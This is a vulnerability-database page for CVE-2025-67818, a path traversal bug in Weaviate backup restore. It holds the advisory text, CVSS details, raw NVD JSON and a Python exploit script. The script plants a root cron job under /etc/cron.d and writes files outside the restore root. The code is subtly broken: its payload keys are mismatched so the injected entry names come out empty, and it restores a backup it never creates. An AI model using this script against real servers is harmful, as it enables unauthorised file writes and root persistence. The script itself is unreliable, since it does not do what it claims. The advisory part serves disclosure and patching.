Security Vulnerability Report
中文
CVE-2025-67818 CVSS 7.2 HIGH

CVE-2025-67818

Published: 2025-12-12 17:15:46
Last Modified: 2025-12-19 15:43:45

Description

An issue was discovered in Weaviate OSS before 1.33.4. An attacker with access to insert data into the database can craft an entry name with an absolute path (e.g., /etc/...) or use parent directory traversal (../../..) to escape the restore root when a backup is restored, potentially creating or overwriting files in arbitrary locations within the application's privilege scope.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:* - VULNERABLE
Weaviate OSS < 1.33.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67818 PoC - Path Traversal in Weaviate Backup Restore # Affected: Weaviate OSS < 1.33.4 # Note: Requires authenticated access with data insertion privileges import requests import json import base64 TARGET = "http://target-weaviate:8080" API_KEY = "your-api-key" # Authentication required headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Method 1: Absolute path traversal to write to /etc/ payload_absolute = { "class": "MaliciousClass", "properties": { "entry_name": "/etc/cron.d/malicious_cron", "content": base64.b64encode(b"* * * * * root /tmp/payload.sh\n").decode() } } # Method 2: Relative path traversal using ../.. to escape backup root payload_traversal = { "class": "MaliciousClass", "properties": { "entry_name": "../../../../../../tmp/pwned", "content": base64.b64encode(b"Malicious content written outside backup root\n").decode() } } # Insert malicious entries into Weaviate def inject_malicious_data(payload, class_name="ExploitClass"): url = f"{TARGET}/v1/objects" data = { "class": class_name, "properties": { "entry_name": payload.get("entry_name"), "file_content": payload.get("content") } } response = requests.post(url, headers=headers, json=data) return response.status_code == 200 # Trigger backup restore (requires admin privileges or backup restore API access) def trigger_backup_restore(backup_id="malicious_backup"): url = f"{TARGET}/v1/backups/{backup_id}/restore" response = requests.post(url, headers=headers) return response.json() # Execute exploitation if __name__ == "__main__": print("[+] Injecting malicious path traversal entries...") inject_malicious_data(payload_absolute) inject_malicious_data(payload_traversal) print("[+] Triggering backup restore to write arbitrary files...") result = trigger_backup_restore() print(f"[+] Result: {json.dumps(result, indent=2)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67818", "sourceIdentifier": "[email protected]", "published": "2025-12-12T17:15:45.583", "lastModified": "2025-12-19T15:43:45.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Weaviate OSS before 1.33.4. An attacker with access to insert data into the database can craft an entry name with an absolute path (e.g., /etc/...) or use parent directory traversal (../../..) to escape the restore root when a backup is restored, potentially creating or overwriting files in arbitrary locations within the application's privilege scope."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.33.4", "matchCriteriaId": "E25B76B4-9A2B-4523-BC9D-1F7C90664AF8"}]}]}], "references": [{"url": "https://github.com/weaviate/weaviate", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://weaviate.io/blog/weaviate-security-release-november-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}